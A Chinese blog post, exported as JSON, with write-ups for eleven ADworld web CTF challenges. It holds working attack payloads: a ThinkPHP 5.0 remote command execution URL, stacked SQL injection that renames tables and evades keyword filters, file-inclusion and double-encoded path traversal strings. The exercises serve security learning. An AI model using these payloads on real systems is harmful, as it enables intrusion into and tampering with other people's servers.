{"id":163,"date":"2021-04-17T16:55:31","date_gmt":"2021-04-17T08:55:31","guid":{"rendered":"http:\/\/dreamc.top\/?p=163"},"modified":"2021-04-17T16:55:31","modified_gmt":"2021-04-17T08:55:31","slug":"adworld-web%e8%bf%9b%e9%98%b6%e5%8c%ba%ef%bc%88%e4%b8%80%ef%bc%89","status":"publish","type":"post","link":"https:\/\/dreamc.top\/index.php\/2021\/04\/17\/adworld-web%e8%bf%9b%e9%98%b6%e5%8c%ba%ef%bc%88%e4%b8%80%ef%bc%89\/","title":{"rendered":"ADworld web\u8fdb\u9636\u533a\uff08\u4e00\uff09"},"content":{"rendered":"<p>1.baby_web<\/p>\n<p>\u6839\u636e\u9898\u76ee\u63cf\u8ff0\uff0c\u6211\u4eec\u8f6c\u5230\u521d\u59cb\u9875\u9762index.php\uff0c\u53d1\u73b0302\u8df3\u8f6c\uff0c\u5ba1\u67e5\u5143\u7d20\uff0c\u53d1\u73b0flag\u3002<\/p>\n<figure class=\"wp-block-image size-large is-resized\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/MQY16RZI2TJU9XBGOJ69-1024x144.png?resize=722%2C101\" alt=\"\" class=\"wp-image-165\" width=\"722\" height=\"101\"><\/figure>\n<p>2.Training-WWW-Robots<\/p>\n<p>\u6839\u636e\u9898\u76ee\uff0c\u6211\u4eec\u731c\u6d4brobots.txt\u91cc\u6709\u63d0\u793a\uff0c\u770b\u5230flag\u6587\u4ef6\uff0c\u6253\u5f00\u5373\u53ef\u3002<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/%E5%9B%BE%E7%89%87.png?w=1000\" alt=\"\" class=\"wp-image-166\"><\/figure>\n<p>3.Web_python_template_injection<\/p>\n<p>\u6839\u636e\u63d0\u793a\uff0c\u6211\u4eec\u77e5\u9053\u8fd9\u662ftemplate\u6ce8\u5165\uff0c\u7528{{}}\u8fdb\u884c\u6d4b\u8bd5\uff0c\u53d1\u73b0\u88ab\u6267\u884c\u4e86<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" height=\"144\" width=\"1000\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/X8WNTSDV6UI4Q6PV1-1024x147.png?resize=1000%2C144\" alt=\"\" class=\"wp-image-167\"><\/figure>\n<p>\u6784\u9020payload\uff0c{{ config.items() }}\u53ef\u4ee5\u67e5\u770b\u670d\u52a1\u5668\u7684\u914d\u7f6e\u4fe1\u606f,\u7531\u4e8e\u5bf9\u6a21\u5757\u6ce8\u5165\u4e0d\u719f\uff0c\u540e\u9762\u5355\u72ec\u603b\u7ed3\u5199\u3002<\/p>\n<p>4.php_rce<\/p>\n<p>\u6839\u636e\u9898\u76ee\u540d\u79f0\u548c\u7f51\u9875think PHPV5.0\u7248\u672c\uff0c\u53ef\u4ee5\u5f97\u77e5\u5e94\u8be5\u662f\u590d\u73b0\u8be5\u6846\u67b6\u6f0f\u6d1e\uff0c\u76f4\u63a5\u767e\u5ea6\u8be5\u7248\u672c\u7684\u6f0f\u6d1e\u3002\u53c2\u8003\u5927\u4f6c\u535a\u5ba2https:\/\/www.cnblogs.com\/backlion\/p\/10106676.html\uff0c\u5229\u7528poc    index.php?s=index\/think\\app\/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=ls \/     \u76f4\u63a5\u627eflag<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" height=\"130\" width=\"1000\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/799O7TZL78LRDJDGRT1-1024x133.png?resize=1000%2C130\" alt=\"\" class=\"wp-image-168\"><\/figure>\n<p>\u7136\u540e\u5c31\u6253\u5f00\u76ee\u5f55index.php?s=index\/think\\app\/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=ls \/flag<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" height=\"91\" width=\"1000\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/YR7TOR78LLETAC0DXB-1024x93.png?resize=1000%2C91\" alt=\"\" class=\"wp-image-169\"><\/figure>\n<p>\u7136\u540e\u67e5\u770bcat flag \u5373\u53ef   \uff08\u540e\u9762\u6709\u7a7a\u5199\u4e00\u7bc7\u6f0f\u6d1e\u5206\u6790\uff09<\/p>\n<p>5.web_php_include<\/p>\n<p>\u6587\u4ef6\u5305\u542b\u60f3\u5230\u4f2a\u534f\u8bae\u8bfb\u53d6\uff0c\u8fd9\u91ccphp:\/\/\u88ab\u8fc7\u6ee4\u4e86\uff0c\u6211\u4eec\u7528data:\/\/\u627eflag\u6587\u4ef6<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/VL1_H2ZYLJKWFH%40C.png?w=1000\" alt=\"\" class=\"wp-image-172\"><\/figure>\n<p>\u7136\u540e\u6253\u5f00\u6587\u4ef6\u5373\u53ef<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/T10BHK9ECFHCM7GK946Y.png?w=1000\" alt=\"\" class=\"wp-image-173\"><\/figure>\n<p>6.supersqli<\/p>\n<p>\n\n\u8054\u5408\u6ce8\u5165\u5e38\u89c1sql\u8bed\u53e5show\u00a0\u4ec0\u4e48\u7684\u3002\u3002<\/p>\n<p>show\u00a0database;\u00a0\u00a0\u00a0\u00a0show\u00a0tables<br>desc\uff1a`\u00a0\u00a0\u8868\u540d\u00a0\u00a0`\u00a0\u00a0\u00a0\u00a0\u67e5\u8be2\u8868\u7ed3\u6784<\/p>\n<p>\u4f8b\uff1a\u5f3a\u7f51\u676f-\u968f\u4fbf\u6ce8(\u5b9e\u9645\u5c31\u662f\u5806\u53e0\u6ce8\u5165)<br>1\u2018\u00a0false\u00a0\u00a01\u201c\u00a0\u00a0true\u00a0\u00a0\u00a0\u8bf4\u660e\u5355\u5f15\u53f7\u6ce8\u5165<br>\u53d1\u73b0\u6709\u8fc7\u6ee4<br>preg_match(&#8220;\/select|update|delete|drop|insert|where|\\.\/i&#8221;,$inject);<br>\u8003\u8651\u5806\u53e0\u6ce8\u5165<br>1&#8242;;show\u00a0tables\u00a0\u67e5\u51fa\u8868\u540d<\/p>\n<p>&#8220;1919810931114514&#8221;<br>&#8220;words&#8221;<\/p>\n<p>1&#8242;;desc\u00a0`words`#\u00a0\u00a0\u00a0\u00a0\u67e5\u8be2\u8868\u7ed3\u6784<br>array(6)\u00a0{<br>\u00a0\u00a0[0]=&gt;<br>\u00a0\u00a0string(2)\u00a0&#8220;id&#8221;<br>\u00a0\u00a0[1]=&gt;<br>\u00a0\u00a0string(7)\u00a0&#8220;int(10)&#8221;<\/p>\n<p>array(6)\u00a0{<br>\u00a0\u00a0[0]=&gt;<br>\u00a0\u00a0string(4)\u00a0&#8220;data&#8221;<br>\u00a0\u00a0[1]=&gt;<br>\u00a0\u00a0string(11)\u00a0&#8220;varchar(20)&#8221;<\/p>\n<p>1&#8242;;desc\u00a0`1919810931114514`#\u00a0\u00a0\u00a0\u00a0\u67e5\u8be2\u8868\u7ed3\u6784<br>array(6)\u00a0{<br>\u00a0\u00a0[0]=&gt;<br>\u00a0\u00a0string(4)\u00a0&#8220;flag&#8221;<br>\u00a0\u00a0[1]=&gt;<br>\u00a0\u00a0string(12)\u00a0&#8220;varchar(100)&#8221;<\/p>\n<p>\u5224\u65ad\u51fa\u6709\u4e24\u4e2a\u56de\u663e\u4f4d\u7f6e\uff0c\u628a\u9ed8\u8ba4\u67e5\u8be2\u8868\u6539\u4e86<br>1&#8242;\u00a0or\u00a01=1;\u00a0rename\u00a0tables\u00a0words\u00a0to\u00a0words1;rename\u00a0tables\u00a0`1919810931114514`\u00a0to\u00a0words;alter\u00a0table\u00a0words\u00a0change\u00a0flag\u00a0id\u00a0varchar(100);&#8211;+<\/p>\n<p>\u7136\u540e\u7528&#8217;\u00a0or\u00a01=&#8217;1\u67e5\u8be2\u8868\u91cc\u9762\u6240\u6709\u5185\u5bb9\uff0c\u5f97\u5230flag<\/p>\n<p>\u77e5\u8bc6\u70b9\u603b\u7ed3<br>\u5806\u53e0\u6ce8\u5165<\/p>\n<p>\u5728\u6b63\u5e38\u7684\u8bed\u53e5\u540e\u9762\u52a0\u5206\u53f7\uff08\uff1b\uff09\uff0c\u53ef\u987a\u5e8f\u6267\u884c\u591a\u6761\u8bed\u53e5\uff0c\u4ece\u800c\u9020\u6210\u6ce8\u5165\u6f0f\u6d1e\u3002<br>Mysql\u8bed\u53e5<\/p>\n<p>\u663e\u793a\u8868\u7684\u5217\u7684\u4fe1\u606f<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0show\u00a0columns\u00a0from\u00a0table_name<br>\u00a0\u00a0\u00a0\u00a0desc\u00a0table_name<br>\u00a0\u00a0\u00a0\u00a0select\u00a0*\u00a0from\u00a0information_schema.columns\u00a0where\u00a0table_schema=&#8221;&#8221;\u00a0and\u00a0table_name=&#8221;&#8221;<\/p>\n<p>\u66f4\u6539\u8868\u7684\u540d\u5b57<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0RENAME\u00a0TABLE\u00a0tbl_name\u00a0TO\u00a0new_tbl_name[,\u00a0tbl_name2\u00a0TO\u00a0new_tbl_name2,&#8230;]<br>\u00a0\u00a0\u00a0\u00a0alter\u00a0table\u00a0table_name\u00a0to\u00a0new\u00a0name<\/p>\n<p>\u66f4\u6539\u5b57\u6bb5\u7684\u540d\u5b57<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0alter\u00a0table\u00a0t_app\u00a0change\u00a0name\u00a0app_name\u00a0varchar(20)\u00a0not\u00a0null;<\/p>\n<p>\u9884\u7f16\u8bd1\u5904\u7406\u65b9\u6cd5<br>\u67e5\u770b\u503c\uff0c\u9700\u8981\u7ed5\u8fc7select\u7684\u9650\u5236\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u9884\u7f16\u8bd1\u7684\u65b9\u5f0f<\/p>\n<p>-1\u2019;set\u00a0@sql\u00a0=\u00a0CONCAT(\u2018se\u2019,\u2018lect\u00a0*\u00a0from\u00a01919810931114514;\u2019);prepare\u00a0stmt\u00a0from\u00a0@sql;EXECUTE\u00a0stmt;#<\/p>\n<p>\u62c6\u5206\u5f00\u6765\u5982\u4e0b\uff1a<\/p>\n<p>-1\u2019;set\u00a0@sql\u00a0=\u00a0CONCAT(\u2018se\u2019,\u2018lect\u00a0*\u00a0from\u00a01919810931114514;\u2019);<\/p>\n<p>prepare\u00a0stmt\u00a0from\u00a0@sql;<\/p>\n<p>EXECUTE\u00a0stmt;\u00a0#<\/p>\n<p>\u8fd9\u91cc\u7528strstr\u51fd\u6570\u8fc7\u6ee4\u4e86set\u548cprepare\u5173\u952e\u8bcd\uff0c\u4f46strstr\u8fd9\u4e2a\u51fd\u6570\u5e76\u4e0d\u80fd\u533a\u5206\u5927\u5c0f\u5199\uff0c\u6211\u4eec\u5c06\u5176\u5927\u5199\u5373\u53ef\u3002<\/p>\n<p>-1\u2019;sEt\u00a0@sql\u00a0=\u00a0CONCAT(\u2018se\u2019,\u2018lect\u00a0*\u00a0from\u00a01919810931114514;\u2019);prEpare\u00a0stmt\u00a0from\u00a0@sql;EXECUTE\u00a0stmt;#<br><\/p>\n<p>7.ics-06<\/p>\n<p>\u6765\u5230\u9875\u9762\u54ea\u91cc\u70b9\u7684\u52a8\u5c31\u70b9\u54ea\u91cc\u3002\u53d1\u73b0\u53ea\u6709\u62a5\u8868\u4e2d\u5fc3\u80fd\u70b9\u52a8\u3002\u7136\u540e\u53d1\u73b0id=\uff0c\u662f\u6570\u503c\u578b\uff0c\u5c1d\u8bd5\u7206\u7834<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/0S7HC4AS5U1B%40KXTX.png?w=1000\" alt=\"\" class=\"wp-image-174\"><\/figure>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/D_LV_VYT6V0M%40PH0V9F.png?w=1000\" alt=\"\" class=\"wp-image-175\"><\/figure>\n<p>\u6210\u529f\uff0c\u7136\u540e\u6253\u5f00\u9875\u9762\u5373\u53ef\u5f97\u5230flag<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/%403R_VGS9CJUC302CSZQ.png?w=1000\" alt=\"\" class=\"wp-image-177\"><\/figure>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/F%40GW2E8ICCO35165DS.png?w=1000\" alt=\"\" class=\"wp-image-178\"><\/figure>\n<p>8.warmup<\/p>\n<p> \u6253\u5f00\u9898\u76ee\u67e5\u770b\u7f51\u9875\u6e90\u4ee3\u7801\u53d1\u73b0 <\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" height=\"483\" width=\"1000\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/7I372TE4ERVJENQQMGG8-1024x495.png?resize=1000%2C483\" alt=\"\" class=\"wp-image-180\"><\/figure>\n<p>\u6253\u5f00source.php<\/p>\n<p> <code> &lt;?php&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;highlight_file(__FILE__);&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;class&nbsp;emmm&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;function&nbsp;checkFile(&amp;$page)&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$whitelist&nbsp;=&nbsp;[&quot;source&quot;=&gt;&quot;source.php&quot;,&quot;hint&quot;=&gt;&quot;hint.php&quot;];&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!&nbsp;isset($page)&nbsp;||&nbsp;!is_string($page))&nbsp;{&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;you&nbsp;can&#039;t&nbsp;see&nbsp;it&quot;;&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;br&gt;&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(in_array($page,&nbsp;$whitelist))&nbsp;{&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;true;&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;br&gt;&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$_page&nbsp;=&nbsp;mb_substr(&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$page,&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mb_strpos($page&nbsp;.&nbsp;&#039;?&#039;,&nbsp;&#039;?&#039;)&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;);&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(in_array($_page,&nbsp;$whitelist))&nbsp;{&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;true;&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;br&gt;&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$_page&nbsp;=&nbsp;urldecode($page);&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$_page&nbsp;=&nbsp;mb_substr(&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$_page,&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mb_strpos($_page&nbsp;.&nbsp;&#039;?&#039;,&nbsp;&#039;?&#039;)&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;);&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(in_array($_page,&nbsp;$whitelist))&nbsp;{&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;true;&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;you&nbsp;can&#039;t&nbsp;see&nbsp;it&quot;;&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;br&gt;&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!&nbsp;empty($_REQUEST[&#039;file&#039;])&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;&amp;&nbsp;is_string($_REQUEST[&#039;file&#039;])&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;&amp;&nbsp;emmm::checkFile($_REQUEST[&#039;file&#039;])&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;{&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;include&nbsp;$_REQUEST[&#039;file&#039;];&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit;&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;&lt;br&gt;&lt;img&nbsp;src=\\&quot;https:\/\/i.loli.net\/2018\/11\/01\/5bdb0d93dc794.jpg\\&quot;&nbsp;\/&gt;&quot;;&lt;br&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&lt;br&gt;?&gt; <\/code><br> \u5ba1\u8ba1\u4ee3\u7801\uff1a\u6709\u4e24\u4e2a\u767d\u540d\u5355\uff0c\u5728hint\u91cc\u77e5\u9053 flag not here, and flag in ffffllllaaaagggg \uff0c\u6709\u622a\u53d6\uff1f\u524d\u5b57\u7b26\u4e32\u7684\u51fd\u6570\uff0c\u8fd8\u6709\u5339\u914d\u51fd\u6570\uff0c\u7136\u540e\u89e3url\u7f16\u7801\uff0c\u5e94\u8be5\u6709url\u4e8c\u6b21\u7f16\u7801\uff0c\u6784\u9020payload:?file=source.php%253F..\/..\/..\/..\/..\/..\/ffffllllaaaagggg\u627e\u5230flag\u3002<\/p>\n<p>9. NewsCenter <\/p>\n<p>\u8fdb\u5165\u9898\u76ee\u73af\u5883\uff0c\u731c\u6d4b\u662f\u6ce8\u5165\uff0c\u7528&#8217; or 1=1 # \u5224\u65ad\uff0c\u662f\u5355\u5f15\u53f7\u6ce8\u5165\uff0c\u7136\u540e\u5224\u65ad\u5217\u6570<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/N3JQ019%40J5RO72S_86S.png?w=1000\" alt=\"\" class=\"wp-image-181\"><\/figure>\n<p>\u53d1\u73b0\u6709\u4e09\u5217\uff0c\u7136\u540e\u5224\u65ad\u56de\u663e\u4f4d\u7f6e<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/LHLD%40YMOVKJBZ51UXA.png?w=1000\" alt=\"\" class=\"wp-image-182\"><\/figure>\n<p>\u53d1\u73b0\u4e24\u4e2a\u56de\u663e\u4f4d\u7f6e\uff0c\u7136\u540e\u627e\u8868\u540d\uff08\u6309\u7406\u8bf4\u5148\u627e\u5e93\u540d\uff0c\u4e0d\u8fc7\u4e00\u822c\u5728\u5f53\u524d\u5e93\u91cc\uff09\uff0c<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" height=\"496\" width=\"1000\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/H2TV0UQM9QIIKS_84ON-1024x508.png?resize=1000%2C496\" alt=\"\" class=\"wp-image-183\"><\/figure>\n<p>\u731c\u6d4b\u5728secret_table\u91cc\uff0c\u67e5\u5b57\u6bb5<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" height=\"506\" width=\"1000\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/2Y%40P813WCOHQVPA79-1024x518.png?resize=1000%2C506\" alt=\"\" class=\"wp-image-184\"><\/figure>\n<p>\u627e\u5230flag\uff0c\u67e5\u8be2\u5185\u5bb9<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/8MKQ3_0WOWXN64LXEC9.png?w=1000\" alt=\"\" class=\"wp-image-185\"><\/figure>\n<p>10. NaNNaNNaNNaN-Batman <\/p>\n<p>\u4e0b\u8f7d\u9898\u76ee\u6587\u4ef6\uff0c\u6587\u672c\u6253\u5f00\uff0c\u53d1\u73b0\u662fjs\u4e71\u7801\uff0c\u5ba1\u8ba1\u53d1\u73b0eval\u51fd\u6570\u6267\u884c\u4e86(\u5b57\u7b26\u4e32)\uff0c\u5bfc\u81f4\u4e71\u7801\uff0c\u7136\u540e\u6211\u4eec\u7528alert\u51fd\u6570\u8ba9\u6b63\u5e38\u6e90\u4ee3\u7801\u663e\u793a\u51fa\u6765\uff0c\u6253\u5f00\u6d4f\u89c8\u5668<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" height=\"210\" width=\"1000\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/MMMMF0DWMUPO0B3F6V-1024x215.png?resize=1000%2C210\" alt=\"\" class=\"wp-image-186\"><\/figure>\n<p>\u518d\u5ba1\u8ba1\u4ee3\u7801\uff0c\u7528\u63a7\u5236\u53f0\u6267\u884c\u5173\u952e\u4ee3\u7801\u83b7\u53d6flag\uff0c\uff08\u61d2\u5f97\u53bb\u51d1key\uff09<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/03\/ACB0Y3V_PPBKMS8IAB.png?w=1000\" alt=\"\" class=\"wp-image-187\"><\/figure>\n<p>11. web2 <\/p>\n<p>\u6839\u636e\u9898\u76ee\u73af\u5883\u9700\u8981\u9006\u5411\u52a0\u5bc6\u3002\u5ba1\u8ba1\u4ee3\u7801\uff0c\u5c31\u4e00\u4e2a\u52a0\u5bc6\u51fd\u6570\uff0c\u53ea\u9700\u8981\u5199\u4e00\u4e2a\u89e3\u5bc6\u51fd\u6570\u5373\u53ef\u3002\u8d39\u4e86\u534a\u5929\u52b2\u5199\u51fa\u6765\u4e86<\/p>\n<pre class=\"wp-block-preformatted\">&lt;?php\n$miwen=&quot;a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws&quot;;\n\nfunction decode($str){\n\n    $_o=(base64_decode(strrev(str_rot13($str))));\n\n    $_1=&quot;&quot;;\n    for($_0=0;$_0&lt;strlen($_o);$_0++)\n    {\n        $_c=substr($_o,$_0,1);\n        $__=ord($_c)-1;\n        $_c=chr($__);\n        $_=$_c;\n        $_1[$_0]=$_;\n    }\n    $_2=strrev($_1);\n    return ($_2);\n}\necho(decode($miwen));<\/pre>\n<p>\u7136\u540e\u53c8\u5f97\u5230flag\uff0c\u4e3b\u8981\u662f\u5bf9php\u4e0d\u719f\u6089\uff0c\u4ee5\u81f3\u4e8e\u5199\u4e86\u534a\u5929\u3002\u7136\u540e\u6211\u5728\u7f51\u4e0a\u627e\u4e86\u7bc7\u4e0d\u4e00\u6837\u7684\u89e3\u5bc6\u811a\u672c\u3002https:\/\/blog.csdn.net\/zsqad\/article\/details\/103475027 <\/p>\n<pre class=\"wp-block-preformatted\">&lt;?php<br>$miwen=\"a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws\";<br><br>function decode($miwen) {<br>    $_ = base64_decode(strrev(str_rot13($miwen)));<br>    $idx = strlen($_) - 1;<br>    $_o = '';<br>    while ($idx &gt;= 0) {<br>        $_c = $_[$idx];<br>        $__ = ord($_c);<br>        $_c = chr($__ - 1);<br>        $_o = $_o . $_c;<br>        $idx--;<br>    }<br>    return $_o;<br>}<br><br>echo decode($miwen);<\/pre>\n<p>12.<\/p>","protected":false},"excerpt":{"rendered":"<p>1.baby_web \u6839\u636e\u9898\u76ee\u63cf\u8ff0\uff0c\u6211\u4eec\u8f6c\u5230\u521d\u59cb\u9875\u9762index.php\uff0c\u53d1\u73b0302\u8df3\u8f6c\uff0c\u5ba1\u67e5\u5143\u7d20\uff0c\u53d1\u73b0flag 